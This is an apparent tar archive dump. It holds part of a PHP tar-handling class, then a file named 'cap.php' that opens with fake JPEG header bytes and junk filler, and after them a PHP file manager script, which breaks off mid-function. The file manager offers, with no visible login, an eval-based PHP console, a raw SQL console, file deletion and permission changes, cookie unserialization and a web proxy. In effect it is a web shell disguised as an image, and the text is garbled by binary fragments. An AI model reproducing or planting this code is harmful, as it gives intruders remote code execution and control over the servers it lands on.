				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
